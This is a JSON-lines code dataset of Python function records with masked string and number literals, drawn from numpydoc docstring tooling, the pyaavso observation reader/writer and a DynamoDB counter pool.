{"signature": "def _str_member_list(self, name):", "body": "out = []<EOL>if self[name]:<EOL><INDENT>out += ['<STR_LIT>' % name, '<STR_LIT>']<EOL>prefix = getattr(self, '<STR_LIT>', '<STR_LIT>')<EOL>if prefix:<EOL><INDENT>prefix = '<STR_LIT>' % prefix<EOL><DEDENT>autosum = []<EOL>others = []<EOL>for param, param_type, desc in self[name]:<EOL><INDENT>param = param.strip()<EOL>param_obj = getattr(self._obj, param, None)<EOL>if not (callable(param_obj)<EOL>or isinstance(param_obj, property)<EOL>or inspect.isgetsetdescriptor(param_obj)):<EOL><INDENT>param_obj = None<EOL><DEDENT>if param_obj and (pydoc.getdoc(param_obj) or not desc):<EOL><INDENT>autosum += [\"<STR_LIT>\" % (prefix, param)]<EOL><DEDENT>else:<EOL><INDENT>others.append((param, param_type, desc))<EOL><DEDENT><DEDENT>if autosum:<EOL><INDENT>out += ['<STR_LIT>']<EOL>if self.class_members_toctree:<EOL><INDENT>out += ['<STR_LIT>']<EOL><DEDENT>out += ['<STR_LIT>'] + autosum<EOL><DEDENT>if others:<EOL><INDENT>maxlen_0 = max(<NUM_LIT:3>, max([len(x[<NUM_LIT:0>]) for x in others]))<EOL>hdr = sixu(\"<STR_LIT:=>\")*maxlen_0 + sixu(\"<STR_LIT:U+0020>\") + sixu(\"<STR_LIT:=>\")*<NUM_LIT:10><EOL>fmt = sixu('<STR_LIT>') % (maxlen_0,)<EOL>out += ['<STR_LIT>', hdr]<EOL>for param, param_type, desc in others:<EOL><INDENT>desc = sixu(\"<STR_LIT:U+0020>\").join(x.strip() for x in desc).strip()<EOL>if param_type:<EOL><INDENT>desc = \"<STR_LIT>\" % (param_type, desc)<EOL><DEDENT>out += [fmt % (param.strip(), desc)]<EOL><DEDENT>out += [hdr]<EOL><DEDENT>out += ['<STR_LIT>']<EOL><DEDENT>return out<EOL>", "docstring": "Generate a member listing, autosummary:: table where possible,\nand a table where not.", "id": "f14556:c0:m11"}
{"signature": "def dedent_lines(lines):", "body": "return textwrap.dedent(\"<STR_LIT:\\n>\".join(lines)).split(\"<STR_LIT:\\n>\")<EOL>", "docstring": "Deindent a list of lines maximally", "id": "f14557:m1"}
{"signature": "def __init__(self, data):", "body": "if isinstance(data,list):<EOL><INDENT>self._str = data<EOL><DEDENT>else:<EOL><INDENT>self._str = data.split('<STR_LIT:\\n>') <EOL><DEDENT>self.reset()<EOL>", "docstring": "Parameters\n----------\ndata : str\n   String with lines separated by '\\n'.", "id": "f14557:c0:m0"}
{"signature": "def _parse_see_also(self, content):", "body": "items = []<EOL>def parse_item_name(text):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>m = self._name_rgx.match(text)<EOL>if m:<EOL><INDENT>g = m.groups()<EOL>if g[<NUM_LIT:1>] is None:<EOL><INDENT>return g[<NUM_LIT:3>], None<EOL><DEDENT>else:<EOL><INDENT>return g[<NUM_LIT:2>], g[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\" % text)<EOL><DEDENT>def push_item(name, rest):<EOL><INDENT>if not name:<EOL><INDENT>return<EOL><DEDENT>name, role = parse_item_name(name)<EOL>items.append((name, list(rest), role))<EOL>del rest[:]<EOL><DEDENT>current_func = None<EOL>rest = []<EOL>for line in content:<EOL><INDENT>if not line.strip(): continue<EOL>m = self._name_rgx.match(line)<EOL>if m and line[m.end():].strip().startswith('<STR_LIT::>'):<EOL><INDENT>push_item(current_func, rest)<EOL>current_func, line = line[:m.end()], line[m.end():]<EOL>rest = [line.split('<STR_LIT::>', <NUM_LIT:1>)[<NUM_LIT:1>].strip()]<EOL>if not rest[<NUM_LIT:0>]:<EOL><INDENT>rest = []<EOL><DEDENT><DEDENT>elif not line.startswith('<STR_LIT:U+0020>'):<EOL><INDENT>push_item(current_func, rest)<EOL>current_func = None<EOL>if '<STR_LIT:U+002C>' in line:<EOL><INDENT>for func in line.split('<STR_LIT:U+002C>'):<EOL><INDENT>if func.strip():<EOL><INDENT>push_item(func, [])<EOL><DEDENT><DEDENT><DEDENT>elif line.strip():<EOL><INDENT>current_func = line<EOL><DEDENT><DEDENT>elif current_func is not None:<EOL><INDENT>rest.append(line.strip())<EOL><DEDENT><DEDENT>push_item(current_func, rest)<EOL>return items<EOL>", "docstring": "func_name : Descriptive text\n    continued text\nanother_func_name : Descriptive text\nfunc_name1, func_name2, :meth:`func_name`, func_name3", "id": "f14557:c1:m8"}
{"signature": "def _parse_index(self, section, content):", "body": "def strip_each_in(lst):<EOL><INDENT>return [s.strip() for s in lst]<EOL><DEDENT>out = {}<EOL>section = section.split('<STR_LIT>')<EOL>if len(section) > <NUM_LIT:1>:<EOL><INDENT>out['<STR_LIT:default>'] = strip_each_in(section[<NUM_LIT:1>].split('<STR_LIT:U+002C>'))[<NUM_LIT:0>]<EOL><DEDENT>for line in content:<EOL><INDENT>line = line.split('<STR_LIT::>')<EOL>if len(line) > <NUM_LIT:2>:<EOL><INDENT>out[line[<NUM_LIT:1>]] = strip_each_in(line[<NUM_LIT:2>].split('<STR_LIT:U+002C>'))<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": ".. index: default\n   :refguide: something, else, and more", "id": "f14557:c1:m9"}
{"signature": "def _parse_summary(self):", "body": "if self._is_at_section():<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>summary = self._doc.read_to_next_empty_line()<EOL>summary_str = \"<STR_LIT:U+0020>\".join([s.strip() for s in summary]).strip()<EOL>if re.compile('<STR_LIT>').match(summary_str):<EOL><INDENT>self['<STR_LIT>'] = summary_str<EOL>if not self._is_at_section():<EOL><INDENT>continue<EOL><DEDENT><DEDENT>break<EOL><DEDENT>if summary is not None:<EOL><INDENT>self['<STR_LIT>'] = summary<EOL><DEDENT>if not self._is_at_section():<EOL><INDENT>self['<STR_LIT>'] = self._read_to_next_section()<EOL><DEDENT>", "docstring": "Grab signature (if given) and summary", "id": "f14557:c1:m10"}
{"signature": "def import_phantom_module(xml_file):", "body": "import lxml.etree as etree<EOL>object_cache = {}<EOL>tree = etree.parse(xml_file)<EOL>root = tree.getroot()<EOL>all_nodes = dict([(n.attrib['<STR_LIT:id>'], n) for n in root])<EOL>def _get_bases(node, recurse=False):<EOL><INDENT>bases = [x.attrib['<STR_LIT>'] for x in node.findall('<STR_LIT>')]<EOL>if recurse:<EOL><INDENT>j = <NUM_LIT:0><EOL>while True:<EOL><INDENT>try:<EOL><INDENT>b = bases[j]<EOL><DEDENT>except IndexError: break<EOL>if b in all_nodes:<EOL><INDENT>bases.extend(_get_bases(all_nodes[b]))<EOL><DEDENT>j += <NUM_LIT:1><EOL><DEDENT><DEDENT>return bases<EOL><DEDENT>type_index = ['<STR_LIT>', '<STR_LIT:class>', '<STR_LIT>', '<STR_LIT:object>']<EOL>def base_cmp(a, b):<EOL><INDENT>x = cmp(type_index.index(a.tag), type_index.index(b.tag))<EOL>if x != <NUM_LIT:0>: return x<EOL>if a.tag == '<STR_LIT:class>' and b.tag == '<STR_LIT:class>':<EOL><INDENT>a_bases = _get_bases(a, recurse=True)<EOL>b_bases = _get_bases(b, recurse=True)<EOL>x = cmp(len(a_bases), len(b_bases))<EOL>if x != <NUM_LIT:0>: return x<EOL>if a.attrib['<STR_LIT:id>'] in b_bases: return -<NUM_LIT:1><EOL>if b.attrib['<STR_LIT:id>'] in a_bases: return <NUM_LIT:1><EOL><DEDENT>return cmp(a.attrib['<STR_LIT:id>'].count('<STR_LIT:.>'), b.attrib['<STR_LIT:id>'].count('<STR_LIT:.>'))<EOL><DEDENT>nodes = root.getchildren()<EOL>nodes.sort(base_cmp)<EOL>for node in nodes:<EOL><INDENT>name = node.attrib['<STR_LIT:id>']<EOL>doc = (node.text or '<STR_LIT>').decode('<STR_LIT>') + \"<STR_LIT:\\n>\"<EOL>if doc == \"<STR_LIT:\\n>\": doc = \"<STR_LIT>\"<EOL>parent = name<EOL>while True:<EOL><INDENT>parent = '<STR_LIT:.>'.join(parent.split('<STR_LIT:.>')[:-<NUM_LIT:1>])<EOL>if not parent: break<EOL>if parent in object_cache: break<EOL>obj = imp.new_module(parent)<EOL>object_cache[parent] = obj<EOL>sys.modules[parent] = obj<EOL><DEDENT>if node.tag == '<STR_LIT>':<EOL><INDENT>obj = imp.new_module(name)<EOL>obj.__doc__ = doc<EOL>sys.modules[name] = obj<EOL><DEDENT>elif node.tag == '<STR_LIT:class>':<EOL><INDENT>bases = [object_cache[b] for b in _get_bases(node)<EOL>if b in object_cache]<EOL>bases.append(object)<EOL>init = lambda self: None<EOL>init.__doc__ = doc<EOL>obj = type(name, tuple(bases), {'<STR_LIT>': doc, '<STR_LIT>': init})<EOL>obj.__name__ = name.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL><DEDENT>elif node.tag == '<STR_LIT>':<EOL><INDENT>funcname = node.attrib['<STR_LIT:id>'].split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>argspec = node.attrib.get('<STR_LIT>')<EOL>if argspec:<EOL><INDENT>argspec = re.sub('<STR_LIT>', '<STR_LIT>', argspec)<EOL>doc = \"<STR_LIT>\" % (funcname, argspec, doc)<EOL><DEDENT>obj = lambda: <NUM_LIT:0><EOL>obj.__argspec_is_invalid_ = True<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>obj.__name__ = funcname<EOL><DEDENT>else:<EOL><INDENT>obj.func_name = funcname<EOL><DEDENT>obj.__name__ = name<EOL>obj.__doc__ = doc<EOL>if inspect.isclass(object_cache[parent]):<EOL><INDENT>obj.__objclass__ = object_cache[parent]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>class Dummy(object): pass<EOL>obj = Dummy()<EOL>obj.__name__ = name<EOL>obj.__doc__ = doc<EOL>if inspect.isclass(object_cache[parent]):<EOL><INDENT>obj.__get__ = lambda: None<EOL><DEDENT><DEDENT>object_cache[name] = obj<EOL>if parent:<EOL><INDENT>if inspect.ismodule(object_cache[parent]):<EOL><INDENT>obj.__module__ = parent<EOL>setattr(object_cache[parent], name.split('<STR_LIT:.>')[-<NUM_LIT:1>], obj)<EOL><DEDENT><DEDENT><DEDENT>for node in root:<EOL><INDENT>obj = object_cache.get(node.attrib['<STR_LIT:id>'])<EOL>if obj is None: continue<EOL>for ref in node.findall('<STR_LIT>'):<EOL><INDENT>if node.tag == '<STR_LIT:class>':<EOL><INDENT>if ref.attrib['<STR_LIT>'].startswith(node.attrib['<STR_LIT:id>'] + '<STR_LIT:.>'):<EOL><INDENT>setattr(obj, ref.attrib['<STR_LIT:name>'],<EOL>object_cache.get(ref.attrib['<STR_LIT>']))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>setattr(obj, ref.attrib['<STR_LIT:name>'],<EOL>object_cache.get(ref.attrib['<STR_LIT>']))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Insert a fake Python module to sys.modules, based on a XML file.\n\nThe XML file is expected to conform to Pydocweb DTD. The fake\nmodule will contain dummy objects, which guarantee the following:\n\n- Docstrings are correct.\n- Class inheritance relationships are correct (if present in XML).\n- Function argspec is *NOT* correct (even if present in XML).\n  Instead, the function signature is prepended to the function docstring.\n- Class attributes are *NOT* correct; instead, they are dummy objects.\n\nParameters\n----------\nxml_file : str\n    Name of an XML file to read", "id": "f14559:m2"}
{"signature": "def looks_like_issubclass(obj, classname):", "body": "t = obj<EOL>if t.__name__ == classname:<EOL><INDENT>return True<EOL><DEDENT>for klass in t.__mro__:<EOL><INDENT>if klass.__name__ == classname:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return True if the object has a class or superclass with the given class\n    name.\n\n    Ignores old-style classes.", "id": "f14560:m0"}
{"signature": "def strip_comment_marker(text):", "body": "lines = []<EOL>for line in text.splitlines():<EOL><INDENT>lines.append(line.lstrip('<STR_LIT:#>'))<EOL><DEDENT>text = textwrap.dedent('<STR_LIT:\\n>'.join(lines))<EOL>return text<EOL>", "docstring": "Strip # markers at the front of a block of comment text.", "id": "f14562:m0"}
{"signature": "def get_class_traits(klass):", "body": "<EOL>source = inspect.getsource(klass)<EOL>cb = CommentBlocker()<EOL>cb.process_file(StringIO(source))<EOL>mod_ast = compiler.parse(source)<EOL>class_ast = mod_ast.node.nodes[<NUM_LIT:0>]<EOL>for node in class_ast.code.nodes:<EOL><INDENT>if isinstance(node, compiler.ast.Assign):<EOL><INDENT>name = node.nodes[<NUM_LIT:0>].name<EOL>rhs = unparse(node.expr).strip()<EOL>doc = strip_comment_marker(cb.search_for_comment(node.lineno, default='<STR_LIT>'))<EOL>yield name, rhs, doc<EOL><DEDENT><DEDENT>", "docstring": "Yield all of the documentation for trait definitions on a class object.", "id": "f14562:m1"}
{"signature": "def add(self, string, start, end, line):", "body": "self.start_lineno = min(self.start_lineno, start[<NUM_LIT:0>])<EOL>self.end_lineno = max(self.end_lineno, end[<NUM_LIT:0>])<EOL>self.text += string<EOL>", "docstring": "Add a new comment line.", "id": "f14562:c0:m1"}
{"signature": "def add(self, string, start, end, line):", "body": "if string.strip():<EOL><INDENT>self.start_lineno = min(self.start_lineno, start[<NUM_LIT:0>])<EOL>self.end_lineno = max(self.end_lineno, end[<NUM_LIT:0>])<EOL><DEDENT>", "docstring": "Add lines to the block.", "id": "f14562:c1:m1"}
{"signature": "def process_file(self, file):", "body": "if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>nxt = file.__next__<EOL><DEDENT>else:<EOL><INDENT>nxt = file.next<EOL><DEDENT>for token in tokenize.generate_tokens(nxt):<EOL><INDENT>self.process_token(*token)<EOL><DEDENT>self.make_index()<EOL>", "docstring": "Process a file object.", "id": "f14562:c2:m1"}
{"signature": "def process_token(self, kind, string, start, end, line):", "body": "if self.current_block.is_comment:<EOL><INDENT>if kind == tokenize.COMMENT:<EOL><INDENT>self.current_block.add(string, start, end, line)<EOL><DEDENT>else:<EOL><INDENT>self.new_noncomment(start[<NUM_LIT:0>], end[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if kind == tokenize.COMMENT:<EOL><INDENT>self.new_comment(string, start, end, line)<EOL><DEDENT>else:<EOL><INDENT>self.current_block.add(string, start, end, line)<EOL><DEDENT><DEDENT>", "docstring": "Process a single token.", "id": "f14562:c2:m2"}
{"signature": "def new_noncomment(self, start_lineno, end_lineno):", "body": "block = NonComment(start_lineno, end_lineno)<EOL>self.blocks.append(block)<EOL>self.current_block = block<EOL>", "docstring": "We are transitioning from a noncomment to a comment.", "id": "f14562:c2:m3"}
{"signature": "def new_comment(self, string, start, end, line):", "body": "prefix = line[:start[<NUM_LIT:1>]]<EOL>if prefix.strip():<EOL><INDENT>self.current_block.add(string, start, end, line)<EOL><DEDENT>else:<EOL><INDENT>block = Comment(start[<NUM_LIT:0>], end[<NUM_LIT:0>], string)<EOL>self.blocks.append(block)<EOL>self.current_block = block<EOL><DEDENT>", "docstring": "Possibly add a new comment.\n\n        Only adds a new comment if this comment is the only thing on the line.\n        Otherwise, it extends the noncomment block.", "id": "f14562:c2:m4"}
{"signature": "def make_index(self):", "body": "for prev, block in zip(self.blocks[:-<NUM_LIT:1>], self.blocks[<NUM_LIT:1>:]):<EOL><INDENT>if not block.is_comment:<EOL><INDENT>self.index[block.start_lineno] = prev<EOL><DEDENT><DEDENT>", "docstring": "Make the index mapping lines of actual code to their associated\n        prefix comments.", "id": "f14562:c2:m5"}
{"signature": "def search_for_comment(self, lineno, default=None):", "body": "if not self.index:<EOL><INDENT>self.make_index()<EOL><DEDENT>block = self.index.get(lineno, None)<EOL>text = getattr(block, '<STR_LIT:text>', default)<EOL>return text<EOL>", "docstring": "Find the comment block just before the given line number.\n\n        Returns None (or the specified default) if there is no such block.", "id": "f14562:c2:m6"}
{"signature": "def __init__(self, fp, observer_code, *, delimiter='<STR_LIT:U+002C>', date_format='<STR_LIT>',<EOL>obstype='<STR_LIT>'):", "body": "self.observer_code = observer_code<EOL>self.date_format = date_format<EOL>self.obstype = obstype<EOL>fp.write('<STR_LIT>')<EOL>fp.write('<STR_LIT>' % observer_code)<EOL>fp.write(\"<STR_LIT>\" % pyaavso.get_version())<EOL>fp.write(\"<STR_LIT>\" % delimiter)<EOL>fp.write(\"<STR_LIT>\" % date_format.upper())<EOL>fp.write(\"<STR_LIT>\" % obstype)<EOL>self.writer = csv.writer(fp, delimiter=delimiter)<EOL>", "docstring": "Creates the writer which will write observations into the file-like\nobject given in first parameter. The only other required parameter\nis the official AAVSO-assigned observer code.\n\n:param fp: file-like object to write observations into\n:param observer_code: AAVSO observer code\n:param delimiter: field delimiter (set as DELIM header)\n:param date_format: observation date format (one of *JD* or *Excel*)\n:param obstype: observation type (*Visual* or *PTG*)", "id": "f14567:c1:m0"}
{"signature": "def writerow(self, observation_data):", "body": "if isinstance(observation_data, (list, tuple)):<EOL><INDENT>row = observation_data<EOL><DEDENT>else:<EOL><INDENT>row = self.dict_to_row(observation_data)<EOL><DEDENT>self.writer.writerow(row)<EOL>", "docstring": "Writes a single observation to the output file.\n\nIf the ``observation_data`` parameter is a dictionary, it is\nconverted to a list to keep a consisted field order (as described\nin format specification). Otherwise it is assumed that the data\nis a raw record ready to be written to file.\n\n:param observation_data: a single observation as a dictionary or list", "id": "f14567:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def dict_to_row(cls, observation_data):<DEDENT>", "body": "row = []<EOL>row.append(observation_data['<STR_LIT:name>'])<EOL>row.append(observation_data['<STR_LIT:date>'])<EOL>row.append(observation_data['<STR_LIT>'])<EOL>comment_code = observation_data.get('<STR_LIT>', '<STR_LIT>')<EOL>if not comment_code:<EOL><INDENT>comment_code = '<STR_LIT>'<EOL><DEDENT>row.append(comment_code)<EOL>comp1 = observation_data.get('<STR_LIT>', '<STR_LIT>')<EOL>if not comp1:<EOL><INDENT>comp1 = '<STR_LIT>'<EOL><DEDENT>row.append(comp1)<EOL>comp2 = observation_data.get('<STR_LIT>', '<STR_LIT>')<EOL>if not comp2:<EOL><INDENT>comp2 = '<STR_LIT>'<EOL><DEDENT>row.append(comp2)<EOL>chart = observation_data.get('<STR_LIT>', '<STR_LIT>')<EOL>if not chart:<EOL><INDENT>chart = '<STR_LIT>'<EOL><DEDENT>row.append(chart)<EOL>notes = observation_data.get('<STR_LIT>', '<STR_LIT>')<EOL>if not notes:<EOL><INDENT>notes = '<STR_LIT>'<EOL><DEDENT>row.append(notes)<EOL>return row<EOL>", "docstring": "Takes a dictionary of observation data and converts it to a list\nof fields according to AAVSO visual format specification.\n\n:param cls: current class\n:param observation_data: a single observation as a dictionary", "id": "f14567:c1:m2"}
{"signature": "def __init__(self, fp):", "body": "headers = {}<EOL>for line in fp:<EOL><INDENT>if isinstance(line, bytes):<EOL><INDENT>line = line.decode('<STR_LIT:utf-8>')<EOL><DEDENT>line = line.strip()<EOL>if line and line[<NUM_LIT:0>] == '<STR_LIT:#>' and '<STR_LIT:=>' in line:<EOL><INDENT>header_str = line[<NUM_LIT:1>:]<EOL>key, value = header_str.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>headers[key] = value<EOL><DEDENT>elif line and line[<NUM_LIT:0>] != '<STR_LIT:#>':<EOL><INDENT>break<EOL><DEDENT><DEDENT>if '<STR_LIT>' not in headers:<EOL><INDENT>raise FormatException('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>self.observer_code = headers['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise FormatException('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>self.date_format = headers['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise FormatException('<STR_LIT>')<EOL><DEDENT>self.software = headers.get('<STR_LIT>', '<STR_LIT>')<EOL>self.delimiter = str(headers.get('<STR_LIT>', '<STR_LIT:U+002C>'))<EOL>self.obstype = headers.get('<STR_LIT>', '<STR_LIT>')<EOL>data = itertools.chain([line], fp)<EOL>self.reader = csv.reader(data, delimiter=self.delimiter)<EOL>", "docstring": "Creates the reader instance and reads file headers.\n\nRaises :py:exc:`~pyaavso.format.visual.FormatException` when any of\nthe required headers could not be found in input. The following header\nparameters are required:\n\n * *TYPE* - always 'Visual', yet must be specified in file\n * *OBSCODE* - official AAVSO-assigned observer code\n * *DATE* - date format, must be one of 'JD' or 'Excel'\n\nOther headers described in AAVSO specification have reasonable default\nvalues, eg. the default delimiter is a comma, when not specified\nin headers. Without the *OBSTYPE* header, observations are assumed\nto be visual.\n\n:param fp: a file-like object from which data will be read", "id": "f14567:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def row_to_dict(cls, row):<DEDENT>", "body": "comment_code = row[<NUM_LIT:3>]<EOL>if comment_code.lower() == '<STR_LIT>':<EOL><INDENT>comment_code = '<STR_LIT>'<EOL><DEDENT>comp1 = row[<NUM_LIT:4>]<EOL>if comp1.lower() == '<STR_LIT>':<EOL><INDENT>comp1 = '<STR_LIT>'<EOL><DEDENT>comp2 = row[<NUM_LIT:5>]<EOL>if comp2.lower() == '<STR_LIT>':<EOL><INDENT>comp2 = '<STR_LIT>'<EOL><DEDENT>chart = row[<NUM_LIT:6>]<EOL>if chart.lower() == '<STR_LIT>':<EOL><INDENT>chart = '<STR_LIT>'<EOL><DEDENT>notes = row[<NUM_LIT:7>]<EOL>if notes.lower() == '<STR_LIT>':<EOL><INDENT>notes = '<STR_LIT>'<EOL><DEDENT>return {<EOL>'<STR_LIT:name>': row[<NUM_LIT:0>],<EOL>'<STR_LIT:date>': row[<NUM_LIT:1>],<EOL>'<STR_LIT>': row[<NUM_LIT:2>],<EOL>'<STR_LIT>': comment_code,<EOL>'<STR_LIT>': comp1,<EOL>'<STR_LIT>': comp2,<EOL>'<STR_LIT>': chart,<EOL>'<STR_LIT>': notes,<EOL>}<EOL>", "docstring": "Converts a raw input record to a dictionary of observation data.\n\n:param cls: current class\n:param row: a single observation as a list or tuple", "id": "f14567:c2:m2"}
{"signature": "def _clean_cell(value):", "body": "return value.replace('<STR_LIT>', '<STR_LIT>').strip()<EOL>", "docstring": "Removes dashes and strips whitespace from the given value.", "id": "f14570:m0"}
{"signature": "def __init__(self, html_source):", "body": "self.empty = \"<STR_LIT>\" in html_source<EOL>if not self.empty:<EOL><INDENT>root = html.fromstring(html_source)<EOL>self.tbody = TBODY_XPATH(root)[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Creates the parser and feeds it source code of the page.", "id": "f14570:c0:m0"}
{"signature": "def get_observations(self):", "body": "if self.empty:<EOL><INDENT>return []<EOL><DEDENT>rows = list(self.tbody)<EOL>observations = []<EOL>for row_observation, row_details in zip(rows[::<NUM_LIT:2>], rows[<NUM_LIT:1>::<NUM_LIT:2>]):<EOL><INDENT>data = {}<EOL>cells = OBSERVATION_XPATH(row_observation)<EOL>data['<STR_LIT:name>'] = _clean_cell(cells[<NUM_LIT:0>])<EOL>data['<STR_LIT:date>'] = _clean_cell(cells[<NUM_LIT:1>])<EOL>data['<STR_LIT>'] = _clean_cell(cells[<NUM_LIT:3>])<EOL>data['<STR_LIT>'] = _clean_cell(cells[<NUM_LIT:6>])<EOL>cells = DETAILS_XPATH(row_details)<EOL>data['<STR_LIT>'] = _clean_cell(cells[<NUM_LIT:0>])<EOL>data['<STR_LIT>'] = _clean_cell(cells[<NUM_LIT:3>]).replace('<STR_LIT:None>', '<STR_LIT>')<EOL>data['<STR_LIT>'] = _clean_cell(cells[<NUM_LIT:4>])<EOL>data['<STR_LIT>'] = _clean_cell(cells[<NUM_LIT:5>])<EOL>observations.append(data)<EOL><DEDENT>return observations<EOL>", "docstring": "Parses the HTML table into a list of dictionaries, each of which\nrepresents a single observation.", "id": "f14570:c0:m1"}
{"signature": "def download_observations(observer_code):", "body": "page_number = <NUM_LIT:1><EOL>observations = []<EOL>while True:<EOL><INDENT>logger.info('<STR_LIT>', page_number)<EOL>response = requests.get(WEBOBS_RESULTS_URL, params={<EOL>'<STR_LIT>': observer_code,<EOL>'<STR_LIT>': <NUM_LIT:200>,<EOL>'<STR_LIT>': '<STR_LIT:all>',<EOL>'<STR_LIT>': page_number,<EOL>})<EOL>logger.debug(response.request.url)<EOL>parser = WebObsResultsParser(response.text)<EOL>observations.extend(parser.get_observations())<EOL>if '<STR_LIT>' not in response.text:<EOL><INDENT>break<EOL><DEDENT>page_number += <NUM_LIT:1><EOL><DEDENT>return observations<EOL>", "docstring": "Downloads all variable star observations by a given observer.\n\nPerforms a series of HTTP requests to AAVSO's WebObs search and\ndownloads the results page by page. Each page is then passed to\n:py:class:`~pyaavso.parsers.webobs.WebObsResultsParser` and parse results\nare added to the final observation list.", "id": "f14571:m0"}
{"signature": "def __init__(self, aws_access_key=None, aws_secret_key=None, table_name=None, schema=None, read_units=None, write_units=None, auto_create_table=True, ):", "body": "self.conn = self.get_conn(aws_access_key, aws_secret_key)<EOL>self.table_name = table_name or self.table_name<EOL>self.schema = schema or self.schema<EOL>self.read_units = read_units or self.read_units<EOL>self.write_units = write_units or self.write_units<EOL>self.auto_create_table = auto_create_table<EOL>super(CounterPool, self).__init__()<EOL>", "docstring": ":aws_access_key:\n    AWS Acccess Key ID with permissions to use DynamoDB\n:aws_secret_key:\n    AWS Access Secret Key for the given Access Key ID\n:table_name:\n    The DynamoDB table that should be used to store this pool's\n    counters.  See http://bit.ly/DynamoDBModel for details on\n    DynamoDB's data model.\n:schema:\n    The schema that will be used to create a table if one does not\n    already exist.  See the `boto`<http://bit.ly/BotoCreateTable>_\n    docs for details on what's expected for a schema.\n:read_units:\n    Read throughput to be set when a table is created.  See\n    http://bit.ly/DynamoThoughput for details on Dynamo's provisioned\n    throughput system.\n:write_units:\n    Write throughput to be set when a table is created.\n:auto_create_table:\n    Should Albertson create a dynamodb table if the provided\n    `table_name` doesn't exist.", "id": "f14577:c0:m0"}
{"signature": "def get_conn(self, aws_access_key=None, aws_secret_key=None):", "body": "return boto.connect_dynamodb(<EOL>aws_access_key_id=aws_access_key,<EOL>aws_secret_access_key=aws_secret_key,<EOL>)<EOL>", "docstring": "Hook point for overriding how the CounterPool gets its connection to\nAWS.", "id": "f14577:c0:m1"}
{"signature": "def get_table_name(self):", "body": "if not self.table_name:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>return self.table_name<EOL>", "docstring": "Hook point for overriding how the CounterPool determines the table name\nto use.", "id": "f14577:c0:m2"}
{"signature": "def get_schema(self):", "body": "if not self.schema:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>return self.conn.create_schema(**self.schema)<EOL>", "docstring": "Hook point for overriding how the CounterPool determines the schema\nto be used when creating a missing table.", "id": "f14577:c0:m3"}
{"signature": "def get_read_units(self):", "body": "return self.read_units<EOL>", "docstring": "Hook point for overriding how the CounterPool determines the read\nthroughput units to set on a newly created table.", "id": "f14577:c0:m4"}
{"signature": "def get_write_units(self):", "body": "return self.write_units<EOL>", "docstring": "Hook point for overriding how the CounterPool determines the write\nthroughput units to set on a newly created table.", "id": "f14577:c0:m5"}
{"signature": "def create_table(self):", "body": "table = self.conn.create_table(<EOL>name=self.get_table_name(),<EOL>schema=self.get_schema(),<EOL>read_units=self.get_read_units(),<EOL>write_units=self.get_write_units(),<EOL>)<EOL>if table.status != '<STR_LIT>':<EOL><INDENT>table.refresh(wait_for_active=True, retry_seconds=<NUM_LIT:1>)<EOL><DEDENT>return table<EOL>", "docstring": "Hook point for overriding how the CounterPool creates a new table\nin DynamooDB", "id": "f14577:c0:m6"}
{"signature": "def get_table(self):", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>table = self._table<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>table = self.conn.get_table(self.get_table_name())<EOL><DEDENT>except boto.exception.DynamoDBResponseError:<EOL><INDENT>if self.auto_create_table:<EOL><INDENT>table = self.create_table()<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>self._table = table<EOL><DEDENT>return table<EOL>", "docstring": "Hook point for overriding how the CounterPool transforms table_name\ninto a boto DynamoDB Table object.", "id": "f14577:c0:m7"}
{"signature": "def create_item(self, hash_key, start=<NUM_LIT:0>, extra_attrs=None):", "body": "table = self.get_table()<EOL>now = datetime.utcnow().replace(microsecond=<NUM_LIT:0>).isoformat()<EOL>attrs = {<EOL>'<STR_LIT>': now,<EOL>'<STR_LIT>': now,<EOL>'<STR_LIT:count>': start,<EOL>}<EOL>if extra_attrs:<EOL><INDENT>attrs.update(extra_attrs)<EOL><DEDENT>item = table.new_item(<EOL>hash_key=hash_key,<EOL>attrs=attrs,<EOL>)<EOL>return item<EOL>", "docstring": "Hook point for overriding how the CouterPool creates a DynamoDB item\nfor a given counter when an existing item can't be found.", "id": "f14577:c0:m8"}
{"signature": "def get_item(self, hash_key, start=<NUM_LIT:0>, extra_attrs=None):", "body": "table = self.get_table()<EOL>try:<EOL><INDENT>item = table.get_item(hash_key=hash_key)<EOL><DEDENT>except DynamoDBKeyNotFoundError:<EOL><INDENT>item = None<EOL><DEDENT>if item is None:<EOL><INDENT>item = self.create_item(<EOL>hash_key=hash_key,<EOL>start=start,<EOL>extra_attrs=extra_attrs,<EOL>)<EOL><DEDENT>return item<EOL>", "docstring": "Hook point for overriding how the CouterPool fetches a DynamoDB item\nfor a given counter.", "id": "f14577:c0:m9"}
{"signature": "def get_counter(self, name, start=<NUM_LIT:0>):", "body": "item = self.get_item(hash_key=name, start=start)<EOL>counter = Counter(dynamo_item=item, pool=self)<EOL>return counter<EOL>", "docstring": "Gets the DynamoDB item behind a counter and ties it to a Counter\ninstace.", "id": "f14577:c0:m10"}
